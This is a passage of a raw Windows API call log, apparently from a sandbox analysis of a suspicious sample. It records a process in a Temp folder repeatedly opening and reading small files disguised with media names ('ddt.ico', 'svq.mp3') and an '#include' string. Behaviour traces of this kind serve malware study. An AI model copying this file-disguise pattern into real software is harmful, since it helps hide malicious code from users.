nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f79c, lpOverlapped=0x0 | out: lpBuffer=0x80b618*, lpNumberOfBytesRead=0x77f79c*=0xd6bf, lpOverlapped=0x0) returned 1 [0071.562] ReadFile (in: hFile=0xf8, lpBuffer=0x818cd7, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x77f79c, lpOverlapped=0x0 | out: lpBuffer=0x818cd7*, lpNumberOfBytesRead=0x77f79c*=0x0, lpOverlapped=0x0) returned 1 [0071.562] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e75c | out: lpNewFilePointer=0x0) returned 1 [0071.562] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e754 | out: lpNewFilePointer=0x0) returned 1 [0071.562] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f79c | out: lpNewFilePointer=0x0) returned 1 [0071.562] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x2d683, lpNewFilePointer=0x0, dwMoveMethod=0x77f794 | out: lpNewFilePointer=0x0) returned 1 [0071.562] ReadFile (in: hFile=0xf8, lpBuffer=0x80b618, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f79c, lpOverlapped=0x0 | out: lpBuffer=0x80b618*, lpNumberOfBytesRead=0x77f79c*=0x14, lpOverlapped=0x0) returned 1 [0071.563] ReadFile (in: hFile=0xf8, lpBuffer=0x80b62c, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x77f79c, lpOverlapped=0x0 | out: lpBuffer=0x80b62c*, lpNumberOfBytesRead=0x77f79c*=0x0, lpOverlapped=0x0) returned 1 [0071.563] CloseHandle (hObject=0xf8) returned 1 [0071.563] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\muu=ksm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf8 [0071.563] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.563] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f74c | out: lpNewFilePointer=0x0) returned 1 [0071.563] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f75c | out: lpNewFilePointer=0x0) returned 1 [0071.563] ReadFile (in: hFile=0xf8, lpBuffer=0x80b618, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f784, lpOverlapped=0x0 | out: lpBuffer=0x80b618*, lpNumberOfBytesRead=0x77f784*=0x10000, lpOverlapped=0x0) returned 1 [0071.564] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f7d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.564] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", nBufferLength=0x7fff, lpBuffer=0x76f7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", lpFilePart=0x0) returned 0x35 [0071.564] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x7fcde8, cbMultiByte=19, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0071.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x7fcde8, cbMultiByte=19, lpWideCharStr=0x7fc7a8, cchWideChar=19 | out: lpWideCharStr="#include ") returned 19 [0071.566] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.566] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.568] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.568] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.568] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.569] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.569] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.569] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.569] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.569] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.569] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.570] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.570] CloseHandle (hObject=0x1c) returned 1 [0071.570] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.570] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.570] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.570] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.570] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.570] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.571] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.571] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.571] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.571] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.571] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.571] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.571] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.571] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.571] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.571] CloseHandle (hObject=0x1c) returned 1 [0071.571] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.572] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.572] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.572] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.572] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.572] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.572] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.572] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.572] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.572] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.572] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.573] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.573] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.573] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.573] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.573] CloseHandle (hObject=0x1c) returned 1 [0071.573] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.574] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.574] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.574] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.574] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.574] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.574] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.574] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.574] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.574] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.574] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.575] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.575] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.575] CloseHandle (hObject=0x1c) returned 1 [0071.578] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.578] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.579] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.579] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.579] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.579] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.579] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.579] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.579] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.579] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.579] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.580] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.580] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.580] CloseHandle (hObject=0x1c) returned 1 [0071.580] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.580] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.581] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.581] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.581] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.581] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.581] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.581] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.581] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.581] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.581] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.581] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.581] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.581] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.581] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.582] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.582] CloseHandle (hObject=0x1c) returned 1 [0071.582] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.582] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.582] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.583] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.583] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.583] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.583] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.583] ReadFile (in: 